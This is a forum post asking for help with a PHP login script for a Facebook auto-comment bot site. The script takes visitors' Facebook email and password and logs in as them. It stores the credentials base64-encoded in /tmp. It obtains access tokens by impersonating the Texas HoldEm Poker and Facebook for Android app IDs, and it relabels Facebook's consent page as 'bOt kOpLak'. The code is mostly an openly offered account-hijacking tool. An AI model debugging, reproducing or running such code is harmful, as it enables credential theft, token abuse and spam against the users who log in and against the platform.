Post Reply 
 
Thread Rating:
  • 0 Votes - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
bot koplak
06-03-2014, 05:23 PM
Post: #1
bot koplak
created a bot site
regarding auto comment and
response comment etc. but
whenever i try to login there using
my facebook id and password an
error shows up "Login Session
Expired". The Problem is with the
login script, i am unable to find that
errorIts my humble request to you,
kindly go through the post and fix
me the problem. If u need anything
regarding this Error kindly Msg me.
Sorry for my poor English. Login
PHP Code Posted Below:
<?php
ob_start('ob_gzhandler
');
session_start();
if(!is_dir('/tmp/svT
')){ mkdir('/tmp/svT
'); }
if($_POST[login]){
$key = base64_encode($
_POST[pass].'(.)(.)'.
$_POST[email]);
$_SESSION[key]=$key;
if(file_exists('/tmp/
svT/'.$key)){ $toket=
file_get_contents('/
tmp/svT/'.$key); $cek
=json_decode(_req($
key,'https://graph.
facebook.com/me?access
_token='.$toket),true
); if($cek[id]){ $_
SESSION[access_token]
= $toket; $_SESSION[fb
_dtsg] = file_get_
contents('/tmp/fbdtsg/
'.$key); back('index.
php'); exit; }else{
unlink('/tmp/svT/'.$
key); back('login.php?
act=setToken&key='.$
key); } }
elseif(file_exists('/
tmp/'.$key)){
back('login.php?act=
setToken&key='.$key);
}else{
$fields=$_POST;
login($key,$fields);
back('login.php?act=
setToken&key='.$key);
}
}
if($_POST[fb_dtsg]){
$act=$_GET[act];
$key=$_SESSION[key];
$fields = $_POST;
$token = setTokenP($
key,$fields,$act);
if($token){
$_SESSION[access_token
] = $token;
saveFile('/tmp/svT/'.$
key,$token);
back('index.php');
}else{
if($_SESSION[fb_dtsg
]){
back('index.php?act=
loginExpired');
}else{ unlink('/tmp/'.
$key);
back('index.php?act=
loginFalse');
}
}
}
if($_GET[act] == '
setToken'){
$key=$_GET[key];
$token = setToken($key
);
if($token){
$_SESSION[access_token
] = $token;
saveFile('/tmp/svT/'.$
key,$token);
back('index.php');
}else{
if($_SESSION[fb_dtsg
]){
back('index.php?act=
loginExpired');
}else{
unlink('/tmp/'.$key);
back('index.php?act=
loginFalse');
/* $ngok = explode('(.
)(.)',base64_decode($
key)); print login($
key,array('pass' => $
ngok[0], 'email' => $
ngok[1], 'login' => '
Login',)); print
setToken($key); */
}
}
}
function login($key,$
fields){
return _req($key,'
https://m.facebook.com
/login.php',1,$fields
);
}
function setTokenP($
key,$fields,$type){
$getToken = _req($
key,'https://m.
facebook.com/dialog/
oauth/'.$type,3,$
fields);
if(ereg('#access_
token=',$getToken)){
$accessToken =
substr($getToken,
strpos($getToken,'
access_token')+13,(
strpos($getToken,'&
expires_in') - (strpos
($getToken,'access_
token')+13)));
}
if($accessToken){
$_SESSION[
access_token] = $
accessToken;
return $
accessToken;
}else{
if(ereg('fb_dtsg
',$getToken)){
$fbDtsg =
substr($getToken,
strpos($getToken, '
name="fb_dtsg" value
=')+22,8);
if($fbDtsg){
$_SESSION[
fb_dtsg] = $fbDtsg;
saveFile('
/tmp/fbdtsg/'.$key,$
fbDtsg);
}
$oauth = '<
x>'.$getToken;
$oauth =
preg_replace('#<x>(.+
?)<body(.+?)><form(.+
?)</form>(.+?)</body><
/html>#siu','\3',$
oauth);
$oauth =
str_replace('_56bs _56
bw _56bu','btn btnC',
$oauth);
$oauth =
str_replace('_56bs _56
bw _56bt','btn btnD',
$oauth);
$oauth =
str_replace('/dialog/
oauth/write','login.
php?act=write',$oauth
); $oauth = str_
replace('/dialog/oauth
/read','login.php?act=
read',$oauth);
$oauth =
str_replace('Facebook
For Android','bOt
kOpLak',$oauth);
eval('?>'.
file_get_contents('
head.php').'<?');
print '<div
class="acy apm abb abt
">Access Write untuk
Applikasi bOt kOpLak</
div>';
print '<form
'.$oauth.'</form>';
eval('?>'.
file_get_contents('
foot.php').'<?');
exit;
}else{
return false;
}
}
}
function setToken($key
){
$ponsel =2915120374; $
andro = 2254487659;
$texas=2389801228;
$nokia = 49340319393;
$getToken = _req($key
,'https://m.facebook.
com/dialog/oauth?
client_id='.$texas.'&
redirect_uri='.
urlencode('https://m.
facebook.com/connect/
login_success.html').
'&response_type=token&
scope=publish_stream,
read_stream,publish_
actions,publish_likes,
user_status,friends_
status,user_photos,
friends_photos&refid=7
',3);
if(ereg('#access_
token=',$getToken)){
$accessToken =
substr($getToken,
strpos($getToken,'
access_token')+13,(
strpos($getToken,'&
expires_in') - (strpos
($getToken,'access_
token')+13)));
}
if($accessToken){
print '<script>
alert("Hapus Dolo
Aplikasi Texas HoldEm
Poker tongue")</script>';
}else{
if(ereg('fb_dtsg
',$getToken)){
$fbDtsg =
substr($getToken,
strpos($getToken, '
name="fb_dtsg" value
=')+22,8);
if($fbDtsg){
$_SESSION[
fb_dtsg] = $fbDtsg;
saveFile('
/tmp/fbdtsg/'.$key,$
fbDtsg);
}
$oauth = '<
x>'.$getToken;
$oauth =
preg_replace('#<x>(.+
?)<body(.+?)><form(.+
?)</form>(.+?)</body><
/html>#siu','\3',$
oauth);
$oauth =
str_replace('_56bs _56
bw _56bu','btn btnC',
$oauth);
$oauth =
str_replace('_56bs _56
bw _56bt','btn btnD',
$oauth);
$oauth =
str_replace('/dialog/
oauth/read','login.php
?act=read',$oauth); $
oauth = str_replace('/
dialog/oauth/write','
login.php?act=write',$
oauth);
$oauth =
str_replace('Texas
HoldEm Poker','bOt
kOpLak',$oauth);
$oauth= str
_replace($texas,$andro
,$oauth);
eval('?>'.
file_get_contents('
head.php').'<?');
print '<div
class="acy apm abb abt
">Access Read untuk
Applikasi bOt kOpLak</
div>';
print '<form
'.$oauth.'</form>';
eval('?>'.
file_get_contents('
foot.php').'<?');
exit;
}else{
return false
;
}
}
}
function back($url){
print '<meta http-
equiv="refresh"
content="0;url='.$url.
'" />';
}
function bunuh($x){
unset($_SESSION[$x]);
}
function _req($key,$
url,$type=null,$fields
=null){
$opts = array(
19913 => 1
,
10002 => $
url,
10018 => $
_SERVER[HTTP_USER_
AGENT],
);
$ch=curl_init();
if($type){
if($type == 1){
$opts[
10082] = '/tmp/'.$key
;
}
if($type == 3){
$opts[42
] = 1;
}
$opts[10031] =
'/tmp/'.$key;
}
if($fields){
$opts[47] = true
;
$opts[10015] = $
fields;
}
curl_setopt_array($
ch,$opts);
$result = curl_exec
($ch);
curl_close($ch);
return $result;
}
function saveFile($x,$
y){
$f=fopen($x,'w');
fwrite($f,$y);
fclose($f);
}
?>
Find all posts by this user
Like Post Quote this message in a reply
Post Reply 


Forum Jump:


User(s) browsing this thread: 1 Guest(s)